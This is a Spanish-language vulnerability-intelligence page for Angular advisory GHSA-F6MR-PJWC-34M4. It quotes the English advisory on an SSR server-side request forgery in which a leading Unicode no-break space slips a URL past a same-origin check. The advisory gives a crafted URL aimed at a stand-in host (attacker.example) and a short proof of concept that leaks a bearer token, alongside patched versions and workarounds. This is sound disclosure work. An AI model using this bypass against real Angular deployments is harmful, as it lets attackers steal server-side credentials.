llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · @angular/platform-server

GHSA-F6MR-PJWC-34M4

Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche3 versionesPrimer parche a -15 d de la divulgación
Exposición70 dDesde la divulgación, 10 sept 2026, 3:19 p. m.
Detección67 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 20.3.30 +1
Parche 22.1.4
Monitoreo
Detectada
26 ago 26
27 ago 26
10 sept 26
17 nov 26
19 nov 26
26 ago 26
17 sept 26
8 oct 26
29 oct 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 20.3.30 @angular/platform-server · -15 d desde divulgación
Remediación Parche 21.2.22 @angular/platform-server · -15 d desde divulgación
Remediación Parche 22.1.4 @angular/platform-server · -14 d desde divulgación
Divulgación Publicada GHSA-F6MR-PJWC-34M4 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.

### Technical Description
When applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks.

However, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispatched to the attacker-controlled origin (`http://attacker.example/collect`), leaking any credentials (such as `Authorization` headers) attached by the application for the intended same-origin request.

### Impact & Reachability
* Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's `HttpClient`, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests.
* Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.

Proof of Concept:

// Interceptor performing same-origin validation
const trustedOrigin = new URL('http://localhost:4000/');
const target = new URL(req.urlWithParams, trustedOrigin);

if (target.origin !== trustedOrigin.origin) {
  throw new Error('Cross-origin request blocked');
}

// Request passes validation, server attaches sensitive credential:
const authenticatedReq = req.clone({
  headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),
});

// @angular/platform-server previously trimmed the URL, converting it into
// //attacker.example/collect and routing the credential to the attacker.

### Workarounds
* Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as `\u00A0`) before performing origin checks or passing them to `HttpClient`.
* Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
@angular/platform-server≤ 19.2.25
@angular/platform-server≥ 20.0.0 < 20.3.30
@angular/platform-server≥ 21.0.0 < 21.2.22
@angular/platform-server≥ 22.0.0 < 22.1.4
19.2.25
20.0.0
20.3.30
21.0.0
21.2.22
22.0.0
22.1.4
22.2.6
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npm@angular/platform-server
Corregida 20.3.30, 21.2.22, 22.1.4 -15 d · -15 d · -14 d 22.2.6 no afectada
Versiones corregidas20.3.3021.2.2222.1.4
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4
Otrahttps://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c
Otrahttps://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132
Otrahttps://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970
Otrahttps://github.com/angular/angular/commit/9339a7a2de437ed93f9cc3da7f32d0100412d599
Otrahttps://github.com/angular/angular
Otrahttps://github.com/angular/angular/releases/tag/v20.3.30
Otrahttps://github.com/angular/angular/releases/tag/v21.2.22
Otrahttps://github.com/angular/angular/releases/tag/v22.1.4

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.